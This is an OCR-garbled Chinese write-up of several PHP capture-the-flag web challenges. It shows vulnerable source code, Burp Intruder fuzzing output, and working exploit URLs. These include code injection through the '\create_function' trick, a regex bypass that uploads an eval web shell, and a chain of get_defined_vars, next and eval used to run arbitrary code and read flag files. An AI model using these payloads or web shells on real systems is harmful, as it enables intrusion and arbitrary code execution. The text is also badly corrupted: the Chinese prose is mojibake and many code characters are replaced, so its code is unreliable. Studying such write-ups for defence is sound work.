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easy - function

<?php
$action = $ GET['action'] ?? '';
$arg = $ GET['arg'] ?? '';

if(preg_match('/~[a-z0-9_]*$/isD', $action)) {
show_source(__ FILE_);

} else {

$action('', $arg);
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Intruder attack 1

Target | Positions T Payloads I Options 1

Attack Sawe Columns

[EJ Payload Positions

jRequts I Target I Pasitions I Payloads I Options }

Configure the positions where payloads will be insert|| Filter: Showing all items
details.
Request | Payload |Status | Emor | Timeout | Length 4| Comment
Attack type: lSniper 60 \ 200 ] [ |220
1 ! 200 O O 418
GET /?action=§§var_dump&arg=1l HTTP/Ll.]| 4 5 200 O] O] 418
Host: 51.158.75.4Z2:8087
Pragmwa: no-cache 5 % 200 [] [] 418
Cache-Control: no-cache 7 ' 200 O O 418
Upgrade-Insecure-Eequests: 1 g [ 200 [] [] 418
User—-Agent: Mozilla/5.0 (Windows NT 1
Accept: text/html,application/xhtml+xy 9 ) 200 U U 418
Accept-Encoding: gzip, deflate 10 * 200 O O 418
Aecept-Language: zh-CI, zh;q=0.9
Connection: close 1 + 200 [] [] 418
12 200 O O 418

Request | Response ]
jRawI Headers T Hex 1

HTTP/Ll.1l 200 OK
Date: Tue, 08 Jan Z019 14:47:18 GMT
Server: Apache/2Z.4.25 (Debian)
¥-Powered-EBy: PHF/7.2.1Z2
Content-Length: 27
Connection: close
Content-Type: text/html;

charset=utf-&

string(0O) ""
string(1l) "1"

X Bl BeE B \(%5c) XA F RF# W LAk B

LEHMER, SHEBEEERTEERE, BAHERT, 2L

(%5c)* RAFALIXAN T 75 1N 2 8 e 4a 2 BT AN FE0 IE# A e 2 Bk R Fpd-than th 7 RE:

php ELER N fr 2 [ 2\, FT A iR AL o HOA SR AR AR IX A

My EEF .. FEER AR, WREES R Efunction_name() A, &K

BEHEMEYFE T — MR MRS \function_name()X AR, WHSELRE T — A5 8KBE. WRIRTEH thnamespace B A H



Fi bt PHP /i - i 42 25 18]

Sed T IEN AT AT AR R BORIZHIZE —ASH T, F T INEAIRIWriteup /5 RIUTEATRANZ R, BRI
T create_function iXANER AT DAEATARAESEN, Al R BB php K H —%% WK R EIRE, mHpFEME EHEH TR
KEMTHIFT create_function B EUHI R
[R5 f#Hrcreate_function() && E Hlwp
PHP create_function()f&#%EA
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http://51.158.75.42:8087/?action=%5ccreate_function&arg=1;}var_dump(scandir("../"));/*

&« > C 0O © FZ&£| 51.158.75.42:8087/?action=%5ccreate_function&arg=1;}var dump(scandir("../")),/*

Deprecated: Function create function() is deprecated in /var/www/html/index.php on line 8

Warning: Unterminated comment starting line 1 in /var/www/html/index.php(8) : runtime-created function on line 1
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(31) "flag_hOw2execute arb1trary cOde" [3]=> string(4) "html" }

A& flag3 15 Flflag:

http://51.158.75.42:8087/?action=%5ccreate_function&arg=1;}var_dump(file_get_contents(%22../flag_how2execute_arb
1ltrary_cede%22));/*

<« C 0 © AZ&£| 51.158.75.42:8087/%action=%5ccreate function&arg=1;}var dump(file get contents("../flag hOw2execute arbltrary cOde"));/*
Deprecated: Function create_function() is deprecated in /var/www/html/index.php on line 8

Warning: Unterminated comment starting line 1 in /var/www/html/index.php(8) : runtime-created function on line 1
string(38) "flag{03fdcOee2fc464aac3cd0ef0e20dch5a)”
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<?php
function is_php($data){

return preg _match('/<\?.*[(";?>].*/is", $data);
}

if(empty($_FILES)) {
die(show_source(__FILE_ ));

}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file'][ 'tmp_name']);
if (is_php($data)) {

echo "bad request";

} else {
@mkdir($user_dir, @755);
$path = $user_dir . '/' . random_int(e, 10) . '.php';

move_uploaded_file($ FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
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echo "123° v PoAE FHIFIRRhR— AR IO 5 200
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w [ matches any character
B EiE — IEle = L% X
v Global pattern flags
i modifier: insensitive. Case insensitive match (ignores case of
[a-zA-Z])
s modifier: single line. Dot matches newline characters
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requests
BytesIO

: BytesIO(b'<?php eval($_GET[txt]);//’

res = requests.post(
L ] (res.headers)

', 'Location': 'data/90ddb25f624856b796a28a@abf2050bl/4.php', 'Content-Len

)5 BRI 5 — AR HE Bt R £ Blflag T

€« > C 0 O A~Z&F%| 51.158.75.42:8088/data/90ddb25{624856b796a28a0abf2050b1/4.php?txt=var dump(scandir(*../../../"));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(22) "flag_php7 2 1s cOrrect" [3]=> string(4) "html" }

&« C O O d=2£| 51.158.75.42:8088/data/90ddb25624856b796a28a0abf2050b1/4.php?txt=var_dump(file_get_contents("../../../flag_php7_2_1s_cOrrect"));

string(38) "flag{216728a834fb4dc1e0bc6893e135f436e}"

easy - phplimit
if(';"' === preg_replace('/[*\W]+\((?R)2\)/', "' ‘code’
eval 'code’
else

show_source(__FILE__
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E T IHEATIWriteupJE 5118 T get_defined_vars (PHP Fff - get_defined _vars) XANEEAT USRS /B ML E, B
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<« C 0 ©® FZ=2| 51.158.75.42:8084/?code=var dump(get defined vars(); ¥

array(4) { ["_GET"]=> array(1) { ["code"]=> string(29) "var_dump(get_defined vars());" } ["_POST"1=> array(0) { } ['_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) {} }

XA E BIGETH S — MEARNNME X L codeZH, MBANBFELE—NMSHEE:

&« C 0 O FZ=£| 51.158.75.42:8084/?code=var_dump(get defined vars());&a=var dump(scandir("../"));

array(4) { ["_GET"]=> array(2) { ["code"]=> string(29) "var_dump(get_defined vars());" ["a"]=> string(25) "var_dump(scandir("../"));" } ["_POST"]
array(0) {} }

SHatifti 7T, FrUAERX BRI LU currentsl# resetif Z0HE T LAIREXE H 1 28 — AN e R HIME:

& > C 0O O T&=£| 51.158.75.42:8084/?code=var dump(current(get defined vars());&a=var_dump(scandir("../"));
array(2) { ["code"]=> string(38) "var_dump(current(get defined vars()));" ["a"]=> string(25) "var_dump(scandir("../"));" }
B REL AT DL next iR BURIRBUZ AR F—4 (WEEAE A TRNHE:

& C O @ F=Z=£| 51.158.75.42:8084/?code=var_dump(next(current(get defined vars())));&a=var dump(scandir("../"));
string(25) "var_dump(scandir("../"));"
XFE, PATIZREOR LS B O R Kflag T -

&« C O O FZ£| 51.158.75.42:8084/?code =eval(next(current(get defined vars())));&a=var dump(scandir("../"));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "htmI" }

« 2> C 0 © A2 | 51.158.75.42:8084/?code=eval(next(current(get_defined vars())));&a=var_dump(file_get contents("../flag_phpbyp4ss");

string(38) "flag{e86963ba34687d269b9faf526ce68cd7}"
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